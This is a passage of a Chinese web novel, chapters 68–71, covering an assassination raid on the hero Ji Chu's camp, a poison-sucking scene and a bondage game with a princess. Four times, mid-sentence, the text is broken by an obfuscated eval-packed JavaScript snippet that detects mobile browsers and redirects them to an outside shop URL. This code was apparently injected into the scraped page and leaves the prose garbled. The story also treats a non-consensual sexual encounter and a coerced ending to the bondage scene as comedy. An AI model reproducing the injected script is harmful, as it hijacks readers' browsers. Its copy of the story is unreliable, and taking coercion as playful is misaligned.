季褚点点头,“夫人可说何事?” 那家丁立刻跪在地上,“回大人,小的不知,夫人说大人去了自然知晓。” 季褚心道这个老臭宝,还怪黏糊人的。 点点头,“你起来吧。” “大人,夫人已经备下了膳食。” 季褚闻言,倒吸一口凉气,心中暗忖:“如狼似虎,果然恐怖如斯。这是一刻都等不及了啊!” 他本欲让朱玉润随行,有大军护送,路上也安全些。但朱玉润却婉言谢绝,一是她的身份不适合出现在护送太子妃的车队中,二来宋府仆从众多。 伴着太子妃随行,还得时刻请安,哪有待在自家车队里舒服。 季褚一想也是,反正前面有大军开路,跟在后面也不太可能有危险,于是便没再劝,而是把赵子衿派了过去,保护对方安全。 两边驻扎的位置不过相隔四五里,骑马也就几分钟的时间而已。 但,他季褚岂能被女人牵着鼻子走? 女人能宠,但绝对不能惯,毕竟她和赵子衿,竹儿等女不同。 今个她想见自己,自己就屁颠颠的去了,那以后呢? 所以一开始就不能让对方产生这种惯性思维。 “你回去告诉宋夫人,她的心意本官领了,然本官奔波一日,略感疲乏。若有他事,明日抽空再去相见。” “喏,那小的这便回复夫人。”小厮躬身退出了大帐。 季褚来到架子旁,示意竹儿帮自己卸甲,又过片刻,餐食也被人送进了大帐。 与此同时。 一片山林前。 方才的小厮匆匆跳下马钻进了林子。 孙诩看着跑来的小厮,不由皱起了眉头,“人呢,可是露出了马脚?” “不曾,我按大人说的,邀请季褚前来,可他却以疲乏为由推辞了!” “疲乏?”孙诩冷笑数声,眸中寒光乍现,“倒是我高估了他。如今大势已定,宋府在他眼中,不过是一枚可弃可留的棋子罢了。 可惜了宋夫人,被他巧舌如簧骗了还不自知。” 说到这,孙诩眼底隂邪之色一闪即逝,“罢了,今日取了季褚狗头,我便去会会宋夫人,送她一场造化。 对了,你可曾探查清楚营地的布局?若是今晚袭营有几分把握?” “佯攻太子妃行辕,再遣百名死士冲杀,至少八成把握。” “善!”孙诩呵呵冷笑,“通知大家行动取消,全部就地休息,丑时三刻随吾袭营。” …… 夜,静悄悄的。 季褚抱着身娇体软的竹儿,整舒舒服服的睡着。 突然…… 营外传来一阵尖锐的哨声,紧接,马蹄声喊杀声交织成一片。 季褚一骨碌爬起身,拿起大刀将竹儿护在身后。 一个下意识的小动作,可是给竹儿感动坏了。 季褚还是头一次遇上这种情况,不用猜也知道,这是遇上敌人袭击了。 可此地距离京城不足百里,绝对算得上天子脚下,哪来的敌人敢这么大胆? 这时,韩江雪掀开了帘子匆匆走了进来,“速速离开营帐,有敌人潜了进来,正在各处放火。” “哪里来的敌人,是兵还是?” “刺客,人数不下百人。” “慌什么?才百人而已,我有两千大军,兵力如此悬殊,这波优势在我!”季褚恨铁不成钢道。 亏他刚才吓一大跳。 结果,就这? 不用猜,肯定是来刺杀太子妃的。 太子妃还没进京就被刺**,最先丢人的就是太子。 当然,也不排除是敌国细作,想借机打击梁朝皇室的权威。 不管刺客是谁派来的,他们都是想瞎了心。 凤倾城多厉害,别人或许不知,他这个当徒弟的能不知道? 再说了,如果两千大军保护下,他们还能杀掉凤倾城这样的高手,那只能说明人家这百十人的实力已经高到天上去了,进来就是一顿砍瓜切菜,慌也没用啊! 而就在这时,异变陡生。 一支支利箭破空而来,穿透一名士兵的胸膛,箭簇从背后透出,惯性下士兵倒在了帐篷上,瞬间就在帐篷上扎了个洞,猩红的鲜血,顷刻便染红了帐篷。 季褚真恨不能给自己俩嘴巴子,那魔咒是能随便念的?简直记吃不记打。 但更多的利箭却如雨点般射进帐篷,已经由不得他多想,拉着竹儿直接卧倒。 韩江雪眼疾手快,长剑出鞘,剑花翻飞间,叮叮当当之声不绝于耳,箭矢与剑刃相撞火星四溅。 她身形如电,射来的箭矢悉数被她挡下,可紧接着便是第二波……第三波…… 韩江雪就像是一台高精密的机器 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17188814|196962||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,一把宝剑武的那叫一个虎虎生风,可以说没有一支箭能完整的穿过她的剑花。 终于,不再有箭射入。 而且外面厮杀声越来越小。 看了看被自己压在身下的竹儿,季褚会心一笑,“怕吗?” 竹儿心里一阵无语,这种小场面她见多了。 可刚刚被季褚护在身下的感觉,却是一种前所未有的体验,仿佛置身于最坚实的港湾。 她轻轻抿了抿唇,声音带着一丝关切:“大人难道不怕被流矢伤到吗?” “怕,但我是男人。”季褚将人拉起,“大丈夫有所为有所不为,你们都以为大人我贪生怕死,可大人我为了心中的守护也敢豁出性命。 要不然,我练武干嘛?” “难道不是为了找机会逃走?”韩江雪鄙夷道。 季褚老脸一红,“你没完了是吧?谁年轻的时候,还没做过几件糊涂事?如今本官官居二品,对公主更是忠心耿耿,以前的事儿休要再言。” “嘁,最好这样。”韩江雪轻哼一声,“你们待在营帐里哪都不要去,我先去太子妃那边看看。” 季褚下意识便要叫住对方,毕竟就凤倾城的实力,肯定不用保护。 现在敌在暗,我在明,天知道有没有藏起来的漏网之鱼。 他走了,万一来个高手自己打不过那不扯犊子了? 可他还没来得及开口,电光火石间,一阵破空声穿透了帐篷,朝着竹儿直直射了过去。 季褚心里咯噔一下,几乎想都没想便撞向了竹儿。 那一瞬,时间仿佛静止,他好似看到了太奶站在河的对面朝他招手。 但诡异的是,他那么怕死的一个人,竟然没有半分后悔。 然而,就当季褚以为自己快要**,腰间突然传来一阵巨力。 箭失穿过他的腋下,噗的一声扎在了韩江雪的胸口上。 砰的一声。 季褚摔倒在地。 噗噗又是两箭,但都被韩江雪轻易斩落。 季褚咕咚一下咽了口唾沫。 看着大熊妹妹上扎着一只羽箭,他想的竟是肉多,真好…… 可就在这时,韩江雪扑通一声,单膝跪在地上,“箭上有毒……” 季褚窝草一声,立刻扑上前扶住了对方,二话不说便将放倒在地,“忍着……” 他不懂解毒,但知道尽快把毒血吸出,能降低毒性对身体的影响。 季褚抓住羽箭用力一拔,只听韩江雪闷哼一声,而季褚这时已经沿着衣服的斜襟一把扯开,两手抓握,对着伤口用力一吸。 “嘬嘬嘬……” 第68章 汝妻子吾养之 “呸呸呸……” 快,实在是太快了。 韩江雪整个人都懵了。 等她回过神来,季褚第二口嘬嘬嘬已经来袭,再次精准捉住了韩江雪敏锐的山尖。 那种酥酥麻麻的吸力带着一丝异样,又好似一道电流,瞬间袭遍韩江雪全身,令她一时间甚至忘了疼,可爱的娃娃脸更是蓦的红到了耳后根。 “呸呸呸……嘬嘬嘬。” “呸呸呸……嘬嘬嘬……” 韩江雪想要一拳打死季褚,可看到他那一脸专注的样子,最终还是松开了紧握的拳头。 “红了,红了……竹儿,竹儿快来。” 见吐出来的血终于变成了正常红色,季褚顿时欣喜若狂。 竹儿也在他的呼喊中缓过神来,跑上前开始检查伤口。 而就在这时,大帐突然划开一道口子,一道人影闪身而入,散发着寒芒的**直接朝着季褚脖子刺来。 “小心……”竹儿大惊失色。 说时迟,那时快,季褚捡起地上的宝剑,完全当刀使用,向上一挥。 此刻的他,在刺客眼里完全就是破绽百出,甚至觉得轻松挡下这一剑后,完全可以来一次最完美的绝杀。 他仿佛已经看到了**刺穿季褚脖子,轻轻那么一转,然后尸首割离的场面。 可下一秒,就感觉手里一轻,接着胯下一凉,随即便是深入骨髓的痛苦。 前后也不过持续了两吸他便发现自己已经没知觉了,而且视线开始扭曲,一双眼却看到了两个方向的场景,最后整个世界陷入了一片黑暗。 哗啦啦。 肠子毛肚流了一地,此刻的尸体直接从中间一挑为二,重重摔在了地上,溅出来的鲜血,更是喷了季褚一身。 竹儿惊呆了。 韩江雪同样也惊呆了。 季褚还是头一次**,突然发现,**好像也就那么回事,拿着剑赶忙跑到韩江雪跟前,“竹儿,别走神。” “哦哦哦!”竹儿回过神来,强压下心里的震惊,继续处理伤口。 发现季褚不仅没有非礼勿视,反而在旁看的津津有味,韩江雪终究还是受不了了,狠狠瞪了下眼,“看够了吗?” “嘁!”季褚撇了下嘴,“你还以为多好看吗,比竹儿的差远了。” 说完,不顾竹儿的大红脸,以及韩江雪那能**的眼神,拿起剑,便朝着帐外走去。 讲真的,太大,好看么? 确实挺好看的,但那是穿着衣裳。 但没穿的话……咳咳,那就更好看了啊! “我真的该好好调教一下他了……”韩江雪恶狠狠道。 竹儿抿了抿嘴,检查完她也松了口气,“郡主,他是什么人,相处了这么久,你还不清楚吗? 而且方才也确实多亏了季褚,否则你今天少不得吃些苦头。” 竹儿将人扶到榻上,然后打开随身带的小包袱取出药粉,开始清理,包扎。 过了片刻,季褚才骂骂咧咧回到了大帐。 凤倾城那边啥事儿没有,只是有人点了几个帐篷,制造混乱。 而且转了一圈,就他这一个帐篷被射成了筛子。 这说明什么? 说明对方的目标是自己啊! 想他季褚温润如玉,谦和若春,待人接物,也是宽以待人而严以律己。 建言献策,解灾民于水火,扶大夏将倾,一颗为民的赤诚之心人尽皆知,连赵子衿那样的江湖游侠都甘心来投。 如今,竟然派人暗杀自己。 奶奶的,不仅手段脏,良心也是大大的坏了。 “大人,你的嘴?”竹儿见季褚顶着一张香肠嘴进来,顿时花容失色。 季褚下意识摸了一下,麻麻酥酥的,显然是刚刚吸,毒产生的副作用。 “无妨,对了,郡主呢?” “已无大碍,已经回去休息了,我收拾一下,等下咱们也换个新帐篷。” “我来收拾吧,今晚你去郡主身边伺候,毕竟中了毒,有你在旁我也放心些。” “也好,那我这就过去。”竹儿说着,打开药瓶取了一枚药丸,“大人,这是解毒丹。” 季褚笑笑,接过直接塞进了嘴里,突然发现身边有个会毒的自己人还蛮好的,“谢谢竹儿姐姐。” “高兴的时候叫人家姐姐,不高兴的直接竹儿……哼!”竹儿没好气的白了季褚一眼,拿上自己的小包裹便出了帐篷。 季褚简单的收拾了一下,房梁也掀开帷幔走了进来,“大人!” “说吧!” “喏,伤亡情况已经统计出来……”房梁垂首,声音说不出的低沉,“阵亡三十七人,重伤二十三,轻伤四十六,斩敌首级一百三十一,余众溃逃,未见其主。” “没活口?” “无!” “能查出是哪家派出来的吗? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17190606|196962||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “属下尽力!” 季褚点点头,从怀里摸出一张银票,目光中透着坚定:“这是一万两,额外抚恤给伤亡的兄弟。尔等兄弟,当知吾季褚为人,为吾牺牲,必无后顾之忧。 汝妻子吾养之,必不会亏待每一位兄弟。” 闻言,房梁只觉心里有一股热流,一个劲的往天灵盖上窜。 汝妻子吾养之,这句话,对于他们这些护卫的杀伤力太大了。 他真是该死啊! 多好的季大人,不就是有个习惯给人起外号的小癖好吗,自己竟然还经常在心里蛐蛐对方。 这哪里是损他们,分明是把他们当成了一家人才会有的打趣啊! “谢大人!” “去吧!”季褚叹了口气。 钱是什么,钱是王八蛋,花完还能赚。 方才大帐里看着凶险,实则也只冲进来了一人。 且能如此快速平息混乱,全赖外面护卫力量奋不顾死。 那可都是一条条鲜活的的生命啊…… 这点钱还真不多。 季褚把玩着手里的宝剑,叹了口气,又拿起立在床榻旁的刀,起身去了新帐子。 很快竹儿便打来热水,为她沐浴一番才回了韩江雪身边。 因为方才的刺杀,外面加强了巡逻,听着那间隔一阵就出现的整齐脚步,季褚一手握剑,一手持刀也沉沉睡了过去。 恍惚间,他好似已经回到了公主府,作为此行的奖励,李清瑶哭着求着让他当驸马。 可他季褚是那种吃软饭的人吗?自然少不了一番口头教育。 而就在这时,突然来了个老太监传旨凤倾城已经登基称女帝,要灭公主府满门,再然后一个刺客从天而降,一刀捅穿了他的脖子…… 季褚瞬间就被吓醒,大口大口喘起了粗气。 见自己还在大帐内,缓了好半晌那颗心才平静下去。 可紧接着,一件比刚才的梦还要恐怖的事儿,吓的季褚一颗心差点没从嗓子眼里蹦出来。 我……我特么裤子呢? 昨晚沐浴完明明合衣而眠,好家伙,一睁眼,裤子跑床底下去了。 而且……而且……那,那干巴巴的感觉,他可太熟了,分明就是昨晚被人光顾过,事后没有清理。 只一瞬间,季褚全身的汗**都立起来了,赶忙找裤子穿上,冲着外面颤声喊道:“房梁……房梁……” 第69章 公主,你怎竟研究这些不健康的东西 “大人,何事?” “昨晚谁来过帐子?”季褚着急问到。 “竹儿姐姐离开后便不曾有人来此。” “当真?” “属下一直守在外面,千真万确。” “嘶……”季褚倒吸一口凉气,下意识后退的两步。 “大人,有什么问题吗?” 季褚闻言,全身的鸡皮疙瘩都起来了,“你……你可曾娶妻?” “回大人,属下家里三个娃娃。” “那你想过纳妾不?” “这……”房梁尴尬的挠挠头,“大人,我家里已有四房妾室。” 季褚面皮一抽,好家伙,真没看出来,房梁这老小子还挺花心。 三个孩子,还有四房小妾。 那肯定不是房梁。 可不是房梁又会是谁? “罢了,你先下去。” 季褚挥退对方,赶紧找水洗了洗。 不管是谁,卫生必须做好。 穿戴整齐后,他便拿着宝剑去了韩江雪的帐子,刚好竹儿这时出来倒水。 “竹儿,昨晚可有异常?” “伯赢放心,郡主已无大碍。” “那,那昨晚郡主可曾离开过营帐?”季褚硬着头皮问道。 他很怀疑,韩江雪被自己嘬了几口,趁着夜深人静又嘬了回去。 因为这个女人记仇,而且脑回路总是那么的清奇。 而且最关键的一点,能避过房梁,悄无声息的进入帐篷,也只有她这种高手做得到。 “不曾!” “怎么可能没离开过,你再想想,她晚上不撒尿吗?” 竹儿:…… 这话咋接? 她俩站在韩江雪的帐子外,讨论人家晚上撒不撒尿真的好吗? 何况这问题……问的过于直白了些。 竹儿一张小脸涨的通红,只能拉着季褚走到一旁,“到底发生了何事,你为何这样问?” 季褚:…… 这话咋接? “就是好奇问问……”季褚尴尬道:“听说利水可加速排毒,你可以提醒一下郡主多喝热水。” 竹儿闻言,总觉的哪里不对劲,但一时半会儿又实在想不出来,点点头,“竹儿记下了,待会儿提醒一下郡主。 至于你说的起夜问题,帐内有恭桶。” 听到这,季褚只能叮嘱她照顾好韩江雪,顺便把剑还了,然后去给便宜师傅太子妃请安。 虽然太子妃也有可能做到,但季褚压根没往她身上想。 无他,大婚之前需要验身,万一验出并非完璧,她靖北侯府有多少脑袋够砍的。 从太子妃行辕出来,季褚又找来禁卫统领,礼部官员,商讨了一下今日的行程,很快大军便再次开拔。 季褚抽空去了一趟宋夫人那,准备用人把赵子衿换回来。 没办法,男孩子一个人睡太没安全感了。 倘若昨晚赵子衿在场,自己肯定不会被人莫名其妙的扒了裤子。 到了宋家车队一对账,季褚才知道昨晚朱玉润压根没派人过去请他。 在他一通深入浅出的努力劝说下,宋家车马只好加快速度,追上了前面大部队。 这一晃,便是两日,远远的已经可以看到京城巍峨的城墙。 期间再无任何事情发生,但始终没找到那个扒了自己裤子的贼,就好似一根刺,一直扎在季褚心里。 尤其是那些随行的女护卫,怎么看怎么不像好人。 进了城便有礼部官员接洽太子妃入城之事,季褚交接完便带着人浩浩荡荡回了公主府。 “大人,哎呦,我的季大人,您可算是回来了,这些日子都快把小人担心**。” 见到车队到来,姬坤一路小跑冲上前帮忙牵住了马缰,一双眼写满了虔诚与崇拜。 从马夫到七品府令,再到五品内监,再到如今的太子少保,礼部侍郎。 可以说,季褚只用了月余时间,就走完了许多人一辈子走不完的路。 同样都是老ji家的人,他咋就比自己优秀这么多呢? 这一刻,姬坤恨不能和季褚秉烛夜谈,好好取一取经。 “有心了。”季褚翻身下马,欣慰的拍了拍姬坤肩膀,“公主可在府中?” “在的,知晓大人入城,便让小的来府门口迎接,汤沐已经准备妥善,还请大人先去沐浴更衣,再去拜见殿下。 一边说着,众人已经进了公主府。 季褚喊人抬上那缸子阿胶先给公主送去,然后跟着姬坤前去沐浴。 路上他也问了问奶茶店的运营情况,得知一切顺利日进斗金,现在正由他牵头负责,季褚不吝言辞的鼓舞了一番。 简单的沐浴后,季褚换好崭新的绯色官袍,然后在妙锦带领下进了李清瑶寝宫。 “大人,请!” “有劳妙锦姐姐了。”季褚点点头,迈步走进了寝宫。紧接着,身后那扇雕花木门“吱呀”一声缓缓闭合,将外界的喧嚣与纷扰尽数隔绝,只余下一片静谧与私密。 李清瑶头戴九鸾赤金垂珠冠,端坐软榻之上。 她一袭素色云锦长裙,外罩鲛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193275|196962||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 绡纱衣,眉如远黛晕开,眼若寒星凝着,淡粉樱唇轻抿,周身的清冷仿佛松间积雪不染尘埃,不沾俗尘,静谧里漫溢着遗世独立的高贵。 兴许是多日不见,季褚不由呆了呆,赶忙行礼,“臣,季褚参见公主,公主风采尤胜往昔,看来臣白担心了。” “跪下!”李清瑶傲然的瞥了他一眼,轻轻放下了茶盏。 季褚哭笑不得,“谁惹你,你找谁去,我这刚回来,你拿我撒什么气!” “本宫让你跪下。” 季褚呲牙一乐,“咋了,离婚了,心里不得劲?” “放肆,来人!” 话音落,外面大门顿时被人推开,几个持剑女侍匆匆而入。 然后迎着季褚震惊,错愕的目光,李清瑶冷哼一声,“拿下!” 几人好似早有准备一般,拿出绳子就套在了季褚脖子上,没几下便将他五花大绑捆了起来。 “好了,你们出去吧!”李清瑶沉着脸挥了挥手。 她还琢磨着等季褚回来就带他去见父皇,到时候再立几次功,封他个驸马当当。 结果他一出去就跟疯了一样,先是收了一个漂亮的女护卫,最后就连自己的贴身大丫鬟都没能幸免。 虽然,有一些机缘巧合的成分。 可越想,李清瑶就越是生气。 今个说什么都得好好教训对方一顿。 李清瑶站起身,顺便从身后抽出了一条小皮鞭,“季褚,你好大的胆子,看来以前都是本宫对你太好了,让你忘记了自己做臣子的本分。” 见状,季褚瞬间就是一呆,眼神也渐渐变的古怪起来。 至于刚刚生起的恼怒,更是霎时间烟消云散。 “公主啊公主,你让我说你什么好,我在外面提着脑袋为你办事,你是一点不学好啊……竟,竟研究这些不健康的东西。” 角色扮演都老刺激了,何况眼下是真公主霸凌真大臣…… 难怪让自己先去沐浴,还把别人全都打发走…… 这他可太懂了! 事已至此他也反抗不了,只能舍命陪君子,索性直接闭上眼,痛呼出声,“啊,公主不要……臣再也不敢了。 啊,公主我错了……以后臣都听您的。 啊,公主别打了……您让臣做什么,臣就做什么……” 李清瑶??? 啥情况,我还没打了呀! 还有,你叫的那么享受是什么鬼? 李清瑶举着皮鞭,一时间打也不是,不打也不是,感觉脑子痒痒的,好似有什么东西要长出来了。 第70章 公主,攻守易型了 “够了,别叫了……” 李清瑶气的抬腿就是一脚,踢在了季褚屁股上。 “公主,这不就是你想要的角色扮演吗?难道我演的不像?” “什么是角色扮演?”李清瑶一脸懵逼。 她只是想给季褚一个深刻的教训,让他分清楚尊卑。 在公主府,他皮点闹点,自己都可以接受,可季褚现在已经是二品大员了,未来肯定少不了与各位王功大臣打交道。 如果还是这样一副玩世不恭,目无尊卑的样子,早晚得吃大亏。 可他现在,在说什么啊? 季褚坏坏的给了她一个看穿一切的表情。 经常玩角色扮演的小伙伴都知道,说白了,体罚只是其次,真正让人觉得刺激,觉得欲罢不能是那直白,露骨的话术。 对于季褚而言,说几句骚话还不简单? 只是几句,不仅把角色扮演的精髓说清了,更是将李清瑶说的面红耳赤。 “好好好,你不是想玩吗,那,那今天本宫就陪你玩儿个够。” 李清瑶气的差点吐血。 这个无耻下蛋,必须得收拾一顿了。 打? 太便宜了! 季褚方才说的话,倒是给李清瑶打开了新思路。 所谓角色扮演,不就是变相的折磨犯人吗? 让犯人精神崩溃,最后哭着求着招供…… 对付季褚这样大胆的好色之徒,寻常手段已经起不到效果,还真就得这种精神折磨才能奏效。 所以,今天必须得让他烈火焚心,让他认清谁才是主,更让他明白一个道理:主子赏的,他才能要。 李清瑶努力做了一番心理建设,一咬红唇,拿着鞭子挑起了季褚下巴,“看着本宫!” 说完,动作轻柔的褪下鲛绡纱衣。 李清瑶微垂凤眸,身子微微向前,白皙雪腻的肩膀贴着季褚鼻尖划过,樱红的唇瓣微微一勾,露出了一个迷**不偿命的笑容。 “香否?” 季褚白眼一番,直接化身打氧气的表情包。 会。 她太会了。 而接下来的一炷香时间,李清瑶完美演绎了什么叫不似凡间的极致诱惑。 毕竟,演的就是演的。 可本色出演,就完全不同了。 皇室自幼熏陶,使得她的高贵与生俱来毫不作为。 偏偏她还美的惊心动魄,对于任何男人而言,都是致命的。 “痛苦吗?难受吗?想要吗?那就让你的心彻底臣服于本宫!” 李清瑶一字一顿,配上那病娇般高高在上的冷笑,季褚感觉自己的心都要炸了,很是从心的点点头,“公主,我臣服了……” 李清瑶心里直翻白眼,心说我还不了解你? 本宫又岂是那么好骗的。 不过看这样子确实差不多了。 李清瑶准备喝口水润润喉,毕竟调了这么久,她也早就累的香汗淋漓。 可就在这时,一只手抓住了她的皓腕。 李清瑶吓了一跳,扭头一看,发现季褚身上的绳子已经开了,此刻正目光灼灼的盯着自己。 然而不等她开口喊人,季褚一抬绳子直接套在了她的脖子上。 也就是愣神的工夫,季褚捡起纱衣直接塞进了她的嘴里。 李清瑶大惊失色,可她又哪里是季褚的对手,三两下就被季褚的龟甲缚牢牢束住。 季褚侧身靠在李清瑶耳边,“公主,如今攻守易型,你说我该怎么惩罚你?” “呜呜呜……呸,你你你,你是怎么做到的?” 季褚轻轻摸着她那娇嫩的脸蛋,“士别三日当刮目相看,你以为一根绳子就能困住我?” 李清瑶晃了晃头,“本宫不是那个意思,本宫是说,你不是无法调动丹田里的内劲吗?” “那是方式方法不对,就在回京前一天,太子妃教了我几招行伍功夫,然后突然就能调动了。” “啊,太子妃这么厉害呀!” “也还行吧,真打起来,我觉得她和郡主应该是半斤对八两,差不多。” “看来我们小看了太子妃,那她为什么要教你功夫?” “当然是……”季褚一噎,随即彻底回过味来,对着李清瑶屁股就是一巴掌,“好你个李清瑶,我和你心连心,你和我玩脑筋。 少转移话题,现在讨论人家干嘛,现在应该讨论我该怎么惩罚你。” 李清瑶脸上顿时露出了被戳破的窘迫,“本,本宫哪有。 不开玩笑了,你刚回来,回去好好休息一晚,明日本宫带你入宫面圣。” “公主,你是不是贵人多忘事,忘了临行前答应过臣什么?” 手指划过那暖玉般的唇瓣。 李清瑶想反抗,可季褚另一只手捏着她的下巴,令他根本反抗不了。 “季褚,不要太过分。” “咱俩到底谁过分?答应你的,臣做到了。 臣这一路九死一生,心里一直想着公主,念着公主。 可公主呢? 才见面,不说关心臣子一下吧,竟然还让人绑了臣。” “本宫也是为了你好,你看看你现在这样?这天底下还有你季伯赢不敢做的事吗?” “你少来,反正现在臣回来了,殿下金口玉言,答应臣的,就必须得给臣,出尔反尔,以后谁还给你卖命。” 李清瑶闭上眼,深吸了口气,“说吧,你想要什么赏赐,只要本宫能做到。” 季褚嘿嘿一笑,凑近那染血的耳垂嘀咕了几句。 下一秒,李清瑶凤眸圆睁,“季褚,你大胆……” “公主,现在由不得你……” …… 华灯初上。 季褚已经心满意足的回了自己的小院。 都说三个女人一台戏,怜香竹儿本就住在小院,如今又多了一个赵子衿。 季褚还真就给大家准备了一出好戏。 心情大好的他,直接在院子里搞起了音乐小烧烤。 赵子衿负责烤串,竹儿去给李清瑶送肉串,顺便申请将公主府乐师借调过来,怜香身娇体媚嗓音好,正适合担任舞蹈主唱。 茭白的月光下,小院里青烟袅袅,时不时传出一阵阵婉转曲折的歌调。 有那么一瞬间,季褚甚至感觉自己没有穿越,而是来到了大型电视剧拍摄现场。 “一曲多寂寥,捞不起当年,天涯路远谁人了解……捻过花,惹了白……” “停,不对。”季褚打断了怜香,抬手便开始比划,“手指要这样……对,要柔……尽可能的温柔。” 怜香哭笑不得,“季郎,我发现你比我们女子还要懂得女子。” “那是!”季褚呵呵一笑,“从不同的角度,自然能发现不同的美,来,继续下一句。” 怜香嗯嗯两声,清了清嗓子,继续清唱,“月下举杯敬沧海 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17197750|196962||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……等风来,几许思念怎可耐……” “对对对,要的就是这个味儿,耐的声调再拉长一点。” …… 公主寝宫。 “殿下,竹儿求见。” 李清瑶躺在踏上,生无可恋的看着屋顶。 她感觉自己已经没脸再见人了。 “不见!” “殿下,还是见一见吧,季大人送来的肉串,闻着可香了,况且您晚上还未用膳,这怎么能行?” “yue……” 听到肉串二字,李清瑶顿时一阵倒胃。 “殿下,您到底怎么了,要不要传太医?”妙云担忧的喊道。 “不用!”李清瑶使劲锤了捶胸口,咬牙切齿道:“季褚,季伯赢……” 刚对她做了那种事儿,晚上便遣人送肉串过来,这不是诚心恶心她吗? 简直岂有此理。 “让竹儿进来。” 很快,竹儿便拿着一把滋滋冒油的肉串走进了寝殿,“竹儿见过殿下。” “起来吧!”李清瑶淡淡的哼了一声。 正准备出言苛责几句,竹儿却一脸担忧道:“殿下,奴婢僭越了,明明是驸马对不起您在先,您又何必自己为难自己。 您现在的脸色,奴婢属实担忧!” 李清瑶:…… 见竹儿一脸关切担忧,她到嘴边的话硬生生咽回了肚子。 一起长大的贴身丫鬟,她终究还是不忍太过苛责。 误会就误会吧! 况且,千错万错都是季褚的错,竹儿只是关心自己,又有何错? 她李清瑶连这点度量都没有,又如何成为当朝最尊贵的长公主。 “过去的事无需再提,本宫无碍。”李清瑶瞄了一眼她手里的肉串,岔开话题道:“这是季褚做的?” 那小味儿实在是太挠了。 本来李清瑶没什么胃口,可架不住那味儿一个劲往鼻子里钻啊! “回殿下,季大人只负责指点,肉是膳房那边切好送过去的,串是竹儿和怜香,赵子衿一起穿的,最后是赵子衿烤的。” “他倒是惫懒,越来越会使唤人了。”李清瑶嗯了一声,“东西放下,你便下去罢!” “殿下……季大人还想调用一下你的乐师。” “借用乐师?可是要提前为太子大婚当日的晚宴准备节目?” 关于太子妃下榻那日火爆全城的文艺汇演,李清瑶早已知晓,虽然并未听到,可那几首充满诗情画意的歌词,却早已飞到她书案上,令她心驰神往,不睹不快。 所以一听说季褚要借乐师,顿时就来了兴趣。 连带着对他的怨气都少了不少。 占便宜归占便宜,起码他把自己的事摆在了第一位。 然而,竹儿接下来的话,就好似一巴掌,狠狠扇在了李清瑶脸上,令她心如冰裂,面若寒霜。 “回,回殿下,季大人是想让怜香唱曲给他听……” 这话说完,一股无形的低气压,压得竹儿赶紧低头。 “混账东西!”李清瑶噌的一下站起身,动作太大牵动了痛处,令她蹙紧的眉头更深了一寸,“而今豺狼环伺,他季褚不过侥幸略施小计,平了长葛粮价,他便以为功高盖世高枕无忧,可以一门心思享受了? 来人,摆驾。 看本宫不掀了他的摊子!” 竹儿小脸瞬间失去了血色,糟糕,伯赢这次怕是有苦吃了。 第71章 三位娘子,为夫有个大胆的想法 李清瑶乘坐凤撵,很快便来到了小院。 “公主殿下到。” 听到外面的喊声,院内三人全都吓了一跳。 见怜香,赵子衿规规矩矩立到了一旁。 季褚只觉一阵头皮发麻,暗骂自己飘了。 李清瑶可是有前车之鉴的,上次一来就把自己绑去柴房打屁股,今天惹得她那般不高兴,天知道她会怎样折腾自己。 也就是这个时候,李清瑶已经迈步走进了院子。 “参见公主殿下!” 有外人在,季褚还是很懂规矩的,立马带着怜香等人行礼。 她凤眸微垂,扫了一眼院子,“季大人,好雅兴啊,不知道的还以为我公主府是听曲饮酒的花楼了。” 嘶……听听,听听,这股子怨妇味儿啊! 季褚眼珠子一转,顿时计上心头,“臣正在推敲太子大婚那日晚上的节目曲谱,正思忖何时请公主过目。 您这一来,倒省了微臣一番工夫。 臣斗胆请公主屈尊就席,听一听那曲中的意。 毕竟新的节目要在圣人以及文武大臣面前表演,少了公主点评,臣恐失礼制之序!” 这话一出,李清瑶来时那股来势汹汹的气势瞬间敛去。 她就说,自己怎么可能看错人。 季褚胆子大是大了点,但做事还是很靠谱的。 “也罢,既然你诚心诚意的邀请,那本宫就勉为其难尝一尝,看一看。” 